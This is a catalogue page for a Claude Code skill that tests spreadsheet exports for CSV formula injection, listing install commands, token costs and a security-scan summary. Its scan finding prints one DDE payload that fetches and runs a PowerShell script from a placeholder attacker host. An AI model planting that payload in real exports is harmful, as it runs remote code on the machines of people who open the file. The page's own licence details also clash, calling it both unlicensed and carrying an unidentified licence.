csv-injection

csv-injection is a skill for Claude Code from mohdhaji87/payloadsallthethings-skills. It costs 25 tokens per session (1,709 once invoked), scanned A, original, no licence file.

A test for placing spreadsheet formulas inside CSV exports, which are text files commonly opened in Excel or Google Sheets.

In plain words
What is it for?
Testing CSV and spreadsheet export features for unsafe formula handling.
Why use it?
It helps show whether exported user input could run a formula when someone opens the file.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the payloadsallthethings plugin — 61 skills shipped together

Good fit Testing CSV and spreadsheet export features for unsafe formula handling.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/mohdhaji87/payloadsallthethings-skills/csv-injection
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add mohdhaji87/payloadsallthethings-skills --skill csv-injection
Clone the repo
git clone --depth 1 https://github.com/mohdhaji87/payloadsallthethings-skills

Made for: Claude Code.

Or install payloadsallthethings, the plugin that ships this one along with the rest of its 61 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for csv-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/mohdhaji87/payloadsallthethings-skills/csv-injection/github.svg)](https://agentmods.dev/skills/mohdhaji87/payloadsallthethings-skills/csv-injection)
Your own site
<a href="https://agentmods.dev/skills/mohdhaji87/payloadsallthethings-skills/csv-injection"><img src="https://agentmods.dev/badge/skills/mohdhaji87/payloadsallthethings-skills/csv-injection/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for csv-injection

Your own site · 80×15
<a href="https://agentmods.dev/skills/mohdhaji87/payloadsallthethings-skills/csv-injection"><img src="https://agentmods.dev/badge/skills/mohdhaji87/payloadsallthethings-skills/csv-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 25 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,709 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00025 $0.01709
Opus 5 $0.00013 $0.00855
Sonnet 5 $0.00005 $0.00342
Haiku 4.5 $0.00003 $0.00171

Measured 11d ago against content hash 710276a1a533, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

csv-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

=cmd|'/C powershell IEX(wget http://attacker.com/shell.ps1)'!A0
payloadsallthethings/skills/csv-injection/SKILL.md · 225 lines

The source is not reproduced here

A licence we could not identify

The repository carries a LICENSE file, but it is custom or dual enough that GitHub cannot name it and neither can this catalogue. Unknown terms are not permission, so the body is not copied here. Read the licence at the source and decide for yourself.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 225 lines · 25 tokens per session scan A 710276a1a533

Subscribe to this mod's changes

csv-injection is a skill published in the GitHub repository mohdhaji87/payloadsallthethings-skills (21 stars, last pushed 8mo ago), with no licence file. It adds 25 tokens to every session and 1,709 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.